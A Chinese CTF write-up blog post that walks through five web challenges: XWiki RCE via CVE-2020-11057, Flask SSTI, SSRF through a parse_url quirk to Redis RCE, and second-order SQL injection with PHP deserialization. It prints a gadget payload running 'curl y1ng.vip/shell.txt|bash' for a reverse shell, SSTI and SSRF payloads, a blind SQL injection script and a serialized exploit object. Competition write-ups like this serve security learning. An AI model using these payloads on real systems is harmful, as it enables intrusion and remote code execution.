Author:颖奇L’Amore

Blog:www.gem-love.com

这个周末比较忙,就第一天中午打了一小会儿


XWiki

题目是XWiki 11.10.1,则可以使用CVE-2020-11057一键RCE:

  1. Create new user
  2. Go to profile -> Edit -> My dashboard -> Add gadget
  3. Choose either python or groovy.
  4. Paste following python/groovy code (for unix powered xwiki)
import os
os.popen("curl y1ng.vip/shell.txt|bash")
r = Runtime.getRuntime()
proc = r.exec('curl y1ng.vip/shell.txt|bash');
BufferedReader stdInput1 = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String s1 = null;
while ((s1 = stdInput1.readLine()) != null) { print s1; }
  1. Submit the gadget

反弹shell后,在根目录下没有发现flag,而是有一个readflag,要让你比较数的大小,脱下来,IDA打开:

可以发现需要比较大小464次,但是比较完成之后就直接printf一个Congratulations! Bye~~就没了。

而我们自己本来就是root权限,一般的readflag是root用户启动,然后flag文件是400权限,所以利用readflag去读,可是本题目既然已经是root了,就应该不是这种套路(u1s1 出题人连用户权限都不会设置就默认给root 更不可能会弄flag的权限)。

当然我们首先没有找到flag文件、其次在readflag里没有发现去读取flag的操作,那么flag应该就在这个readflag里面。

果然,reverse爷爷一下就看出了flag:


simpleflask

题目是新版本werkzurg,开了debug,应该是新版本算PIN码,然而可以直接读flag

出于好奇,顺便读一下源码:

from flask import flask, request, render_template_string, redirect, abort
import string

app = flask(__name__)


white_list = string.ascii_letters + string.digits + '()_-{}."[]=/'
black_list = ["codecs", "system", "for", "if",
              "end", "os", "eval", "request", "write",
              "mro", "compile", "execfile", "exec",
              "subprocess", "importlib", "platform", "timeit",
              "import", "linecache", "module", "getattribute",
              "pop", "getitem", "decode", "popen",
              "ifconfig", "flag", "config"]


def check(s):
    # print(len(s))
    if len(s) > 131:
        abort(500, "hacker")
        # abort(500, "hacker len")
    for i in s:
        if i not in white_list:
            abort(500, "hacker")
            # abort(500, "hacker white")
    for i in black_list:
        if i in s:
            abort(500, "hacker")
            # abort(500, "hacker black")


@app.route('/', methods=["post"])
def hello_world():
    try:
        name = request.form["name"]
    except exception:
        return render_template_string("<h1>request.form[\"name\"]<h1>")

    if name == "":
        return render_template_string("<h1>hello world!<h1>")

    check(name)
    template = '<h1>hello {}!<h1>'.format(name)
    res = render_template_string(template)
    if "flag" in res:
        abort(500, "hacker")
    return res


if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=true)

当然PIN也能算:


EZFLASK

给了不全的源码:


# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
    hint =xxxx # hints
    trick = xxxx # trick
    return trick

@app.route('/')
def index():
    # app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
    # post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
    # admin requests
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080)

提交eval=ctf.__globals__ 得到神秘路由和其他一些信息:

{'my_eval': , 'app': <flask 'app_1'="">, 'waf_eval': , 'admin': , 'index': , 'waf_ip': , '__builtins__': <module '__builtin__'="" (built-in)="">, 'admin_route': '/h4rdt0f1nd_9792uagcaca00qjaf', '__file__': 'app_1.py', 'request': <request 'http:="" 124.70.206.91:10000="" eval'="" [post]="">, '__package__': None, 'Flask': <class 'flask.app.flask'="">, 'ctf': , 'waf_path': , 'time': <module 'time'="" from="" '="" usr="" local="" lib="" python2.7="" lib-dynload="" time.so'="">, '__name__': '__main__', 'requests': <module 'requests'="" from="" '="" usr="" local="" lib="" python2.7="" site-packages="" requests="" __init__.pyc'="">, '__doc__': None}

之前做TJCTF 2018时,有个沙箱逃逸题是利用了co_consts来读常量得到waf规则,结果我测试了一下被黑名单过滤了,然后就去忙别的事了,过会儿回来发现队友用这个读出了内网端口,不清楚是我当时多打了空格啥的还是题目有改动。得到:

(None, 'the admin route :h4rdt0f1nd_9792uagcaca00qjaf<!-- port : 5000 -->', 'too young too simple')

这里有个注释,是5000端口,下面我们来看看这个secret路由

但是他好像把127.0.0.1给ban了,很无语,也很无聊。因为127.0.0.0/8除了127.0.0.1是loopback以外其他都被保留了,然后网络设备见到127.0.0.0/8都会以127.0.0.1来对待,所以只要127.x.x.x即可绕过。


import flask
from xxxx import flag
app = flask.Flask(__name__)
app.config['FLAG'] = flag
@app.route('/')
def index():
    return open('app.txt').read()
@app.route('/<path:hack>')
def hack(hack):
    return flask.render_template_string(hack)
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

一个套娃SSTI,过滤了括号加号等,比较麻烦,后来被队友做出来的

ip=127.1.1.1&path={{url_for.__globals__['current_app'].__dict__}}&port=5000


SSSRFME

Solved By [email protected]

<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);


function safe_url($url,$safe) {
    $parsed = parse_url($url);
    $validate_ip = true;
    if($parsed['port']  && !in_array($parsed['port'],array('80','443'))){

        echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;
        
        return false;
    }else{
        preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
        $long = ip2long($parsed['host']);
        if($long===false){
            $ip = null;
            if($safe){
                @putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
                $ip   = gethostbyname($parsed['host']);
                $long = ip2long($ip);
                $long===false && $ip = null;
                @putenv('RES_OPTIONS');
            }
        }else{
            $ip = $parsed['host'];
        }
        $ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
    }

    if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
        echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;
        
        return false;
    }else{
        return $url;
    }
}


function curl($url){
    $safe = false;
    if(safe_url($url,$safe)) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $co = curl_exec($ch);
        curl_close($ch);
        echo $co;
    }
}

highlight_file(__FILE__);
curl($_GET['url']);

parse_url()存在SSRF漏洞,则可以打内网,根目题目暗示和EZFLASK有关联,所以也打一下5000端口,发现了套娃:

http://121.36.199.21:10808/?url=http://root:[email protected]:[email protected]/

测试发现为python3 urllib

根据题目hint说的Redis,打一下6379端口发现果然开了redis:

题目利用CRLF+Redis主从复制RCE,然后题目HINT告诉Redis有弱密码,那么需要想一个办法来判断密码是否正确才可以来爆破密码。

可以直接利用Rouge Redis Server,如果密码错误是会主从复制失败的,那么就收不到回显,所以可以利用+爆破密码同时进行。

Rouge Redis Server直接用n0b0dy👴🏻👴🏻写的即可。exp的话evoA师傅写了一个一键利用的,还挺好用的,不过因为不是我写的,暂时不对外分享了。

直接打,同时爆破密码,可以得知Redis密码是123456,同时RCE反弹shell


carefuleyes

这个题是比赛结束后抽时间做的。www.zip得到源码,所有的提交都会被转义,没有办法直接注入。先看得到flag的点:

class XCTFGG{
    private $method;
    private $args;

    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    function login() {
        list($username, $password) = func_get_args();
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));

        $sql = sprintf("SELECT * FROM user WHERE username='%s' AND password='%s'", $username, $password);

        global $db;
        $obj = $db->query($sql);

        $obj = $obj->fetch_assoc();

        global $FLAG;

        if ( $obj != false && $obj['privilege'] == 'admin'  ) {
			die($FLAG);
        } else {
			die("Admin only!");
        }
    }

    function __destruct() {
        @call_user_func_array(array($this, $this->method), $this->args);
    }

}

在upload中存在反序列化位点:

那么我们只要注出账号密码然后反序列化即可得到flag。注入位点主要在rename.php:

查询结果直接放进了新的查询中,则可造成二次注入;可利用$info['filename']这个回显来布尔盲注,exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import HackRequests as HR
import requests as req
import random
from urllib.parse import quote as urlencode

def upload(name):
	hack = HR.hackRequests()
	raw = '''POST /upload.php HTTP/1.1
Host: 124.71.191.175
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------257708923430047524191624862316
Origin: http://124.71.191.175
Connection: close
Referer: http://124.71.191.175/
Upgrade-Insecure-Requests: 1

-----------------------------257708923430047524191624862316
Content-Disposition: form-data; name="upfile"; filename="%s.jpg"
Content-Type: image/jpeg

Y1ng
-----------------------------257708923430047524191624862316--
''' % name
	proxy=('127.0.0.1','8080')
	hh = hack.httpraw(raw=raw, ssl=False)

def rename(name):
	url = 'http://124.71.191.175/rename.php'
	data = {
		'oldname' : name,
		'newname' : "bbbbb%d.jpg" % random.randint(1,1000000)
	}
	header = {
		"Content-Type" : "application/x-www-form-urlencoded",
		"Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
		"Origin" : "http://124.71.191.175",
		"Upgrade-Insecure-Requests" : "1"
	}
	proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
	r = req.post(url=url, data=data, headers=header)
	if "Y1ng" in r.text:
		return True
	else: 
		return False


def main():
	sql = "select group_concat(password) from user"
	res = ""
	for i in range(1,1000):
		low = 32
		high = 128
		mid = (low + high) // 2
		while (low < high):
			name = f"Y1ng' or ascii(substr(({sql}),{i},1))>{mid}#"
			upload(name)
			rename_result = rename(name)
			if rename_result:
				low = mid + 1
			else:
				high = mid
			mid = (low + high) // 2
		if mid == 32 or mid == 127:
			break
		res += chr(mid)
		print(res)

if __name__ == '__main__':
	main()	

在给的un.sql中得到用户名:

INSERT INTO user VALUES ('XM', $db_pass, 'admin')

之后反序列化:

<?php
class XCTFGG{
    private $method = "login";
    private $args = array("XM", "qweqweqwe");
}
echo urlencode(serialize(new XCTFGG()));

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2621.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

分类: CTF

颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image